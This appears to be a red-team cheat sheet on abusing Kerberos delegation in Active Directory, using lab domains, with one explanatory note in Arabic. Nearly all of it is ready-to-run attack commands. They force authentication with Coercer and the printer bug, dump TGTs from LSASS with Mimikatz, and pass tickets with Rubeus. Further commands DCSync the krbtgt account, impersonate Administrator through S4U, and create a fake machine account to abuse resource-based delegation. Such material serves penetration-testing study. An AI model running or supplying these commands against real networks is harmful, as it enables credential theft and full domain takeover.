Kerberos Delegation

Kerberos delegation: allows services to impersonate the user in order to communicate with another service and perform actions on behalf the user.

---

Unconstrained Delegation: TrustedForDelegation = True

Constrained Delegation: TrustedToAuthForDelegation = True

---

Unconstrained Delegation

Unconstrained Delegation allowing any service to use a user TGT in order to communicate with the any other service.

The TGT will be stored in the LSASS process.

Enumerate

# powerView
Get-NetComputer -Unconstrained
Get-DomainComputer -UnConstrained
Get-DomainComputer -Unconstrained -Properties DnsHostName
Get-DomainComputer -unconstrained | select samaccountname

# AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
Get-ADComputer "IIS" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount

Exploitation

Kali

and also you can use Coercer to forced Authentication with the server or DC has Unconstrained Delegation using any domain user

Coercer.py coerce \
  -u <user> -d <domain> -p <password> \
  -t <targetServer_OR_User> -l <listener/UD> --always-continue

#  Ex
Coercer.py coerce -u arya.stark -d north.sevenkingdoms.local -p 'Needle' -t kingslanding.sevenkingdoms.local -l winterfell --always-continue

Windows

It is possible to extract the TGTs from the service's LSASS process using Mimikatz and perform pass the ticket.

# Extract the TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

# Pass the ticket
Invoke-Mimikatz -Command '"kerberos::ptt TGT.kirbi"' 
Rubeus.exe ptt /ticket:"base64 | file.kirbi" # Rubues allows base64 format as alternative

Printer bug

The printer bug uses an RPC call of MS-RPRN (print spooler service) which allows any domain user can force any machine that running the Spooler service to connect to second a machine of the domain user's choice.

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1. Run on compromised Server Rubeus monitor

# run it on server has Unconstrained Delegation # to open Listener
Rubeus.exe monitor /interval:5 /nowrap

# spectator on ticket in memoty

1. Run on compromised Domain User the RPC Call using SpoolSample \ Coercer

MS-RPRN.exe \\dc.machine.local \\compromised.machine.local

1. pass-the-ticket

#Copy the base64 encoded TGT
Rubeus.exe ptt /ticket:<ticket.kirbi>

1. DCSync

mimikatz.exe
lsadump::dcsync /domain:domain.local /user:krbtgt

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Constrained Delegation

Constrained Delegation allowing specified services on specified computers to use a user TGT in order to communicate with the any other service.

in order to create a more restrictive delegation mechanism, Microsoft develop two Kerberos extensions known as Service for user (S4U):

• Service for User to Self (S4U2self) - allows a service to obtain forwardable TGS to itself on behalf of user. (server can impersonate user in the same range)

• Service for User to Proxy (S4U2proxy) - allows a service to obtain a TGS to another service on behalf of user. but services are from white list controlled by msDS-AllowedToDelegateTo attribute.

Enumerate

# powerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Exploitation

Rubeus.exe s4u /user:websvc /aes256:<aes256_key> /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.local /ptt

# You can change the target service in the ticket
Rubeus.exe s4u /user:USer-Delegate-Service /aes256:<aes256_key> /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL /altservice:ldap /ptt

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Resource Based Delegation

Instead of the white list of SPNs controlled by msDS-AllowedToDelegateTo attribute, resource based controlled by the msDS-AllowedToActOnBehalfOfOtherIdentity

To abuse RBCD(Resource Based Constrained Delegation ****) we need Write permissions over the target machine msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

انا كماشين 1 و عايز اعمل اكسيس علي ماشين 2 فلازم انا ابقي تبع الوايت ليست اللي حطاها الماشين اللي بتستقبل الاتصال اللي هي ماشين 2 علي عكس الكونستريند دليكشين المرسل هو اللي بيحط وايت ليس للي هيستقبل

Enumerate

# Check if allowed to create machines
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select ms-ds-machineaccountquota

# Check Write premissions to modify msDS-AllowedToActOnBehalfOfOtherIdentity attribute on target machine
Find-InterestingDomainACL | ?{$_.identityreferencename -match 'ciadmin'}

# Check if RBCD is set using PowerView - This can be used to verify also
Get-DomainRBCD  

if ms-ds-machineaccountquota ≠0 we can execute NoPac Attack which allowed to Escalate user privilege to domain Admin privilege using one command

Exploitation

Create fake machine

# Using Powermad
import-module powermad
New-MachineAccount -MachineAccount dcorp-student483 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Change security descriptor

$TargetComputer = 'dcorp-mgmt'
$FakeComputer = 'dcorp-student483'

# Using PowerView
$ComputerSid = Get-DomainComputer $FakeComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# One liner using PowerView
Set-DomainRBCD -Identity $TargetComputer -DelegateFrom $FakeComputer -Verbose   
# Using AD Module
Set-ADComputer -Identity dcorp-mgmt -PrincipalsAllowedToDelegateToAccount $FakeComputer 

# Verify
Get-DomainComputer dcorp-mgmt -Properties 'msds-allowedtoactonbehalfofotheridentity'
# Verify Result
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

# Verify using ADModule
Get-ADComputer dcorp-mgmt -Properties PrincipalsAllowedToDelegateToAccount

Abuse using Rubeus

## Get the fake machine hash
Rubeus.exe hash /password:123456 /user:dcorp-student483 /domain:dollarcorp.moneycorp.local
## If used AD Module need to extract the hash from lsass using mimikatz
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

# Imporsnate wch ask for S4U2Self + S4U2Proxy TGS
Rubeus.exe s4u /user:dcorp-student483$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:Administrator /msdsspn:http/dcorp-mgmt /ptt

# Verify (winrs on this case)
winrs -r:dcorp-mgmt cmd